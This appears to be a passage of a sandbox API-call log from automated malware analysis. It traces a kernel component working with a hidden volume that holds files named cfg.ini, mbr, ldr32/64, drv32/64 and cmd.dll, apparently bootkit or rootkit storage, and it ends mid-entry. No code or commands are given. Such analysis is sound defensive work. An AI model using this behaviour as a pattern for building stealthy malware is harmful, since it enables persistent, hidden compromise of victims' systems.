_strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.103] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.103] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.103] KeLeaveCriticalRegion () [0122.103] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.103] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0122.103] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0122.103] KeEnterCriticalRegion () [0122.103] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.103] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.103] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.103] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.103] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.103] IdePortDispatch () returned 0x103 [0122.103] KeWaitForMutexObject () returned 0x0 [0122.103] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.103] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0122.103] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.103] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.103] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.103] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0122.103] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0122.103] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.103] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.103] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0122.103] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.103] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.103] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.103] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.103] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.103] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.103] KeLeaveCriticalRegion () [0122.103] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.103] ReleaseMutex (hMutex=0x100) returned 1 [0122.104] Sleep (dwMilliseconds=0x2bf20) [0122.110] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6bfba350, dwHighDateTime=0x1d24fa4)) [0122.110] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0122.110] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.111] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0122.111] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.111] KeEnterCriticalRegion () [0122.111] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.111] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.111] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.111] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.111] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.111] IdePortDispatch () returned 0x103 [0122.111] KeWaitForMutexObject () returned 0x0 [0122.111] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.111] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.111] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.111] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.111] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.111] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be3b60 [0122.111] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.111] KeLeaveCriticalRegion () [0122.111] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.111] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.111] KeEnterCriticalRegion () [0122.111] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.111] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.111] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.111] KeLeaveCriticalRegion () [0122.111] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.111] KeEnterCriticalRegion () [0122.111] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.111] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.111] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.111] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.111] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0122.111] IdePortDispatch () returned 0x103 [0122.111] KeWaitForMutexObject () returned 0x0 [0122.112] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.112] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.112] KeLeaveCriticalRegion () [0122.112] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.112] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.112] KeEnterCriticalRegion () [0122.112] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.112] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c2b000 [0122.112] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.112] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.112] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.112] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.112] IdePortDispatch () returned 0x103 [0122.112] KeWaitForMutexObject () returned 0x0 [0122.112] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.112] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.112] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.112] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.112] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.112] IdePortDispatch () returned 0x103 [0122.112] KeWaitForMutexObject () returned 0x0 [0122.112] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.112] KeLeaveCriticalRegion () [0122.112] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.113] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.113] KeEnterCriticalRegion () [0122.113] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.113] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.113] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.113] KeLeaveCriticalRegion () [0122.113] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.113] KeEnterCriticalRegion () [0122.113] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.113] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.113] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be35b0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.113] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.113] KeLeaveCriticalRegion () [0122.113] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.113] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.113] KeEnterCriticalRegion () [0122.113] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.113] ExFreePoolWithTag (P=0xfffffa8003be3b60, Tag=0x0) [0122.113] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.113] KeLeaveCriticalRegion () [0122.113] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.113] ReleaseMutex (hMutex=0xf0) returned 1 [0122.113] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.113] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0122.113] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.113] KeEnterCriticalRegion () [0122.113] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.113] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.113] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.114] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.114] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.114] IdePortDispatch () returned 0x103 [0122.114] KeWaitForMutexObject () returned 0x0 [0122.114] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.114] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.114] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.114] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.114] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.114] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be36f0 [0122.114] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.114] KeLeaveCriticalRegion () [0122.114] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.114] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.114] KeEnterCriticalRegion () [0122.114] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.114] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.114] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.114] KeLeaveCriticalRegion () [0122.114] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.114] KeEnterCriticalRegion () [0122.114] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.114] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.114] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.114] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.114] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0122.114] IdePortDispatch () returned 0x103 [0122.114] KeWaitForMutexObject () returned 0x0 [0122.114] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.114] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.114] KeLeaveCriticalRegion () [0122.114] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.115] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.115] KeEnterCriticalRegion () [0122.115] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.115] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c2c000 [0122.115] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.115] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.115] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.115] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.115] IdePortDispatch () returned 0x103 [0122.115] KeWaitForMutexObject () returned 0x0 [0122.115] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.115] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.115] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.115] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.115] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.115] IdePortDispatch () returned 0x103 [0122.115] KeWaitForMutexObject () returned 0x0 [0122.115] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.115] KeLeaveCriticalRegion () [0122.115] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.116] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.116] KeEnterCriticalRegion () [0122.116] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.116] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.116] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.116] KeLeaveCriticalRegion () [0122.116] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.116] KeEnterCriticalRegion () [0122.116] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.116] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.116] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bc6570, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.116] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.116] KeLeaveCriticalRegion () [0122.116] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.116] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.116] KeEnterCriticalRegion () [0122.116] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.116] ExFreePoolWithTag (P=0xfffffa8003be36f0, Tag=0x0) [0122.116] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.116] KeLeaveCriticalRegion () [0122.116] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.116] ReleaseMutex (hMutex=0xf0) returned 1 [0122.116] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.116] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0122.116] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.116] KeEnterCriticalRegion () [0122.116] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.116] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.116] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.116] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.116] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.116] IdePortDispatch () returned 0x103 [0122.116] KeWaitForMutexObject () returned 0x0 [0122.117] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.117] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.117] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.117] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.117] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.117] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bcaca0 [0122.117] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.117] KeLeaveCriticalRegion () [0122.117] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.117] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.117] KeEnterCriticalRegion () [0122.117] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.117] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.117] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.117] KeLeaveCriticalRegion () [0122.117] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.117] KeEnterCriticalRegion () [0122.117] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.117] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.117] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.117] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.117] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0122.117] IdePortDispatch () returned 0x103 [0122.117] KeWaitForMutexObject () returned 0x0 [0122.117] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.117] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.117] KeLeaveCriticalRegion () [0122.117] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.117] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.117] KeEnterCriticalRegion () [0122.117] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.117] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c2d000 [0122.117] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.117] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.117] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.117] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.118] IdePortDispatch () returned 0x103 [0122.118] KeWaitForMutexObject () returned 0x0 [0122.118] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.118] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.118] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.118] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.118] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.118] IdePortDispatch () returned 0x103 [0122.118] KeWaitForMutexObject () returned 0x0 [0122.118] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.118] KeLeaveCriticalRegion () [0122.118] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.118] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.118] KeEnterCriticalRegion () [0122.119] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.119] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.119] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.119] KeLeaveCriticalRegion () [0122.119] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.119] KeEnterCriticalRegion () [0122.119] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.119] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.119] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bd6630, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.119] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.119] KeLeaveCriticalRegion () [0122.119] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.119] 